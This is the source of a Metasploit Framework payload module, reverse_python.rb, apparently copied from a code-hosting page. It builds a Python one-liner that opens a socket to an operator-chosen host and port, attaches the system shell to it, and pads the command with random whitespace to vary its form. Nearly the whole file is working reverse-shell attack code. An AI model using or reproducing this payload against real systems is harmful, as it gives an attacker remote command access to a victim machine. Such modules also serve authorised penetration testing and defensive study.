Path: blob/master/modules/payloads/singles/cmd/unix/reverse_python.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = :dynamic78include Msf::Payload::Single9include Msf::Payload::Python10include Msf::Sessions::CommandShellOptions1112def initialize(info = {})13super(14merge_info(15info,16'Name' => 'Unix Command Shell, Reverse TCP (via Python)',17'Version' => '$Revision: 1 $',18'Description' => 'Connect back and create a command shell via Python',19'Author' => 'bcoles',20'License' => MSF_LICENSE,21'Platform' => 'unix',22'Arch' => ARCH_CMD,23'Handler' => Msf::Handler::ReverseTcp,24'Session' => Msf::Sessions::CommandShell,25'PayloadType' => 'cmd',26'RequiredCmd' => 'python',27'Payload' => { 'Offsets' => {}, 'Payload' => '' }28)29)30register_options(31[32OptString.new('SHELL', [ true, 'The system shell to use', '/bin/sh' ])33]34)35register_advanced_options(36[37OptString.new('PythonPath', [true, 'The path to the Python executable', 'python'])38]39)40end4142def generate(_opts = {})43return super + command_string44end4546#47# Generate random whitespace48#4950def random_padding51' ' * rand(10)52end5354#55# Generate command string56#5758def command_string59raw_cmd = "import socket,subprocess,os;host=\"#{datastore['LHOST']}\";port=#{datastore['LPORT']};s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\"#{datastore['SHELL']}\")"60cmd = raw_cmd.gsub(/,/, "#{random_padding},#{random_padding}").gsub(/;/, "#{random_padding};#{random_padding}")61"#{datastore['PythonPath']} -c \"#{py_create_exec_stub(cmd)}\""62end63end646566